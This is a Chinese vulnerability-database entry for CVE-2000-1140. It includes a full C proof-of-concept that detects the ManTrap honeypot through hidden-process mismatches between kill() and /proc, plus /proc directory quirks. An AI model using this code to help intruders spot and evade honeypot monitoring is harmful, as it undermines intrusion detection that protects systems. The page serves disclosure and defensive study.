Recourse ManTrap漏洞
漏洞ID | 1106064 | 漏洞类型 | 未知 |
发布时间 | 2000-11-01 | 更新时间 | 2005-05-02 |
CVE编号 | CVE-2000-1140 |
CNNVD-ID | CNNVD-200101-024 |
漏洞平台 | Unix | CVSS评分 | 2.1 |
|漏洞来源
|漏洞详情
RecourseManTrap1.6版本不正确隐藏攻击者进程。攻击者可以通过比较/proc文件系统中带有处理列表的kill命令判断是否在honeypot系统中。
|漏洞EXP
source: http://www.securityfocus.com/bid/1908/info
ManTrap is a "honeypot" intrusion detection system designed to lure attackers into it for analysis. The honeypot is implemented as a chroot'ed Solaris environment, designed to look and feel real to an attacker who gains access to it. To ensure that the "lured" hacker doesn't realize that they are on a ManTrap host, certain processes must be hidden. One of the ways this is accomplished in ManTrap is through kernel modules that prevent /proc entries from being created for these processes. Unfortunately this is trivial to bypass through comparing process information retrieved directly from kernel memory to the contents of /proc.
The kill() system call does not read from /proc. A hacker may, for example, write a program to send SIGCONT (or another signal usually ignored) to incrementing process ID's verifying valid PIDs (that dont belong to them) by the errno value generated by kill() (EEPERM). The valid PIDs that are not in /proc would be the 'hidden' processes.
/*
* ManTrap detection/testing program by wilson / f8labs - www.f8labs.org
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <strings.h>
#include <unistd.h>
#include <sys/signal.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <errno.h>
#include <dirent.h>
void check_proc_vs_kill(int listpids)
{
struct stat st;
int i, counter;
char buf[520];
printf("proc-vs-kill() test: n");
fflush(0);
if (geteuid() == 0)
{
printf(" Error: Running as root. NOT performing /proc-vs-kill() test.n");
return;
}
if (listpids == 1)
{
printf("Listing mismatching PIDs:n");
}
counter = 0;
for (i = 1; i < 65535; i ++)
{
if ((kill(i, SIGCONT) != 0) && (errno == EPERM)) /* send SIGCONT (which hopefully won't matter) to the process */
{
snprintf(buf, 511, "/proc/%d", i);
if (stat(buf, &st) != 0)
{
counter ++;
if (listpids == 1)
{
printf("%.5d ", i);
if (counter%8 == 0)
{
printf("n");
}
}
}
}
}
if (listpids == 1)
{
printf("n");
}
if (counter == 0)
{
printf(" Normal: No mismatches found.n");
} else
{
printf(" ManTrap? %d mismatching PIDs found.n", counter);
}
}
void check_proc_dotdot()
{
DIR *procDIR;
struct dirent *procdirent;
int found;
printf("dotdot test:n");
procDIR = opendir("/proc");
if (procDIR == NULL)
{
printf(" Error: Couldn't open /proc while performing dotdot test.n");
return;
}
found = 0;
procdirent = readdir(procDIR);
while (procdirent != NULL)
{
if (strcmp(procdirent->d_name, "..") == 0)
{
found = 1;
break;
}
procdirent = readdir(procDIR);
}
closedir(procDIR);
if (found == 0)
{
printf(" ManTrap? /proc/.. not found in directory listing!n");
} else {
printf(" Normal: /proc/.. found in directory listing.n");
}
}
void check_proc_cwdwalk()
{
char savedpwd[2048], newpwd[2048];
printf("cwdwalk test:n");
if (getwd(savedpwd) == NULL)
{
printf(" Error: Couldn't get working directory while performing cwdwalk test.n");
return;
}
if (chdir("/proc/self") != 0)
{
printf(" Error: Couldn't chdir to /proc/self while performing cwdwalk test.n");
return;
}
if (chdir("cwd") != 0)
{
printf(" Error: Couldn't chdir to /proc/self/cwd while performing cwdwalk test.n");
return;
}
if (getwd(newpwd) == NULL)
{
printf(" ManTrap? getwd() failed after chdir to /proc/self/cwd.n");
} else {
printf(" Normal: getwd() succeeded after chdir to /proc/self/cwd.n");
}
chdir(savedpwd);
return;
}
void usage(char *myname)
{
printf("Usage: %s <-a|-p|-l|-d|-c|-h>n", myname);
printf(" -a performs ALL testsn");
printf(" -p performs /proc-vs-kill() testn");
printf(" -l performs /proc-vs-kill() test and lists mismatching PIDsn");
printf(" -d performs /proc/.. testn");
printf(" -c performs /proc/self/cwd testn");
printf(" -h shows this helpn");
}
int main(int argc, char *argv[])
{
printf("ManTrap detection/testing program by [email protected] - www.f8labs.orgn");
if (argc != 2)
{
usage(argv[0]);
exit(1);
}
if (strlen(argv[1]) != 2)
{
usage(argv[0]);
exit(1);
}
switch(argv[1][1])
{
case 'a':
check_proc_vs_kill(0);
check_proc_dotdot();
check_proc_cwdwalk();
break;
case 'p':
check_proc_vs_kill(0);
break;
case 'l':
check_proc_vs_kill(1);
break;
case 'd':
check_proc_dotdot();
break;
case 'c':
check_proc_cwdwalk();
break;
case 'h':
default:
usage(argv[0]);
exit(1);
break;
}
printf("Finished.n");
}
|参考资料
来源:BID
名称:1908
链接:http://www.securityfocus.com/bid/1908
来源:BUGTRAQ
名称:20001107VendorResponseRe:MantrapAdvisoryVendorFollowup-FateResearchLabs
链接:http://archives.neohapsis.com/archives/bugtraq/2000-11/0100.html
来源:BUGTRAQ
名称:20001102MantrapByRecourseTechnologies-FateAdvisory(11-01-00)
链接:http://archives.neohapsis.com/archives/bugtraq/2000-11/0041.html
来源:XF
名称:mantrap-hidden-processes
链接:http://xforce.iss.net/static/5473.php
相关推荐: Webware WebKit Cookie String Command Execution Vulnerability
Webware WebKit Cookie String Command Execution Vulnerability 漏洞ID 1099770 漏洞类型 Input Validation Error 发布时间 2003-08-01 更新时间 2003-08…
© 版权声明
文章版权归作者所有,未经允许请勿转载。
THE END
喜欢就支持一下吧
恐龙抗狼扛1年前0
kankan啊啊啊啊3年前0
66666666666666